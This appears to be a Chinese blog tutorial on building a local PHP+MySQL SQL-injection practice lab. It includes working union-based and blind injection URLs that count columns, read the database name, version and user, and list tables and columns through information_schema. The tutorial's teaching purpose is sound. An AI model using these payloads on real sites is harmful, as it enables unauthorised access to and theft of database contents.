php+mysql注入环境搭建

php+mysql注入环境搭建需要资料如下:

链接:http://pan.baidu.com/s/1kV746Dx 密码:026d

1.安装phpmystudy

自定义安装好phpmystudy,启动(运行phpmystudy)

 

2.编程一个注入页面(下载好的sql.php)

在phpmystudy安装路径下WWW目录创建一下文件夹test,

然后把下载好的sql.php复制一份到test下。

 

 

3.数据接受(创建数据库,注入传递参数到数据库)

http://127.0.0.1/phpmyadmin/           用户名密码都是root

创建一个表列数据,接受传递参数查询数据库。(我这里直接下数据库test下,创建一张biao表)

 

  1. CREATE TABLE IF NOT EXISTS `biao` (
  2.   `id` int(10) NOT NULL,
  3.   `title` varchar(1000) NOT NULL,
  4.   `text` varchar(1000) NOT NULL
  5. ) ENGINE=MyISAM DEFAULT CHARSET=GBK;
  6.  
  7. INSERT INTO `biao` (`id`, `title`, `text`) VALUES
  8. (1,'渗透注入','本地搭建注入环境')

 

好了,到此php+mysql注入环境搭建完成。

 

测试:

 

传递的参数?i=1

http://127.0.0.1/test/sql.php?i=1

 

 

 

第一步:判断环境,寻找注入点

确定注入点 : 
数字型:   用'号报错 就有注入的希望     或者 and 1=1  and 1=2 检测  一个正常 一个返回不正常 95%存在注入点用 
 

 

 

 

猜解当前字段数:http://127.0.0.1/test/sql.php?i=1 and  1=1  order by 3  (3正常,4不正常,字段数为3)

WARMING: order by 语句仅用于猜解当前查询语句查询的字段数(即if 为 * ,则查询所有。为name,则只查询一个name字段)

 

 

输出数据类容判断字段位置:http://127.0.0.1/test/sql.php?i=1 and 1=1  union select 1,2,3(字段个数)

注:union查询,必须两次查询的结果格式相同;

注:mysql注入不需要猜测表名5.*版本以上,

因为存在MYSQL-INFORMATION_SCHEMA信息数据库,即元数据,里面含有数据库的基本信息;

 

 

获取数据库信息:

 

 

数据库名 database()

数据库版本 version()

数据库用户 user()

操作系统 @@version_compile_os

 

 

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select database(),version(),user()

 

得到数据库为test,用户为root,数据库版本5.5.47

 

查询test(使用小葵多功能转换工具得到hex编码)下的所有表名信息:

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select table_name,2,3 from information_schema.tables where table_schema=0x74657374

注:mysql注入不需要猜测表名5.*版本以上,

因为存在MYSQL-INFORMATION_SCHEMA信息数据库,即元数据,里面含有数据库的基本信息;

 

 

查询biao(使用小葵多功能转换工具得到hex编码)下的所有列名信息:

 

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select column_name,2,3 from information_schema.columns where table_name=0x6269616F(限制表名,因为存在多个表)

 

 

 

直接获取biao表名下的title列名的数据:

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select title,2,3 from test.biao

 

http://127.0.0.1/test/sql.php?i=1 and left((select table_name from information_schema.tables where table_schema=database()limit 0,1),1)='b'

 

 

 

总结:应该依次查询出字端数然后以此联合查询库名、表名(nformation_schema.tables)、字段名(information_schema.columns)从information_schema元数据中,但因存在多表、多库,必须限定查询;其次在根据表名查询相关字段下的信息;

阅读更多
想对作者说点什么?

博主推荐

换一批

没有更多推荐了,返回首页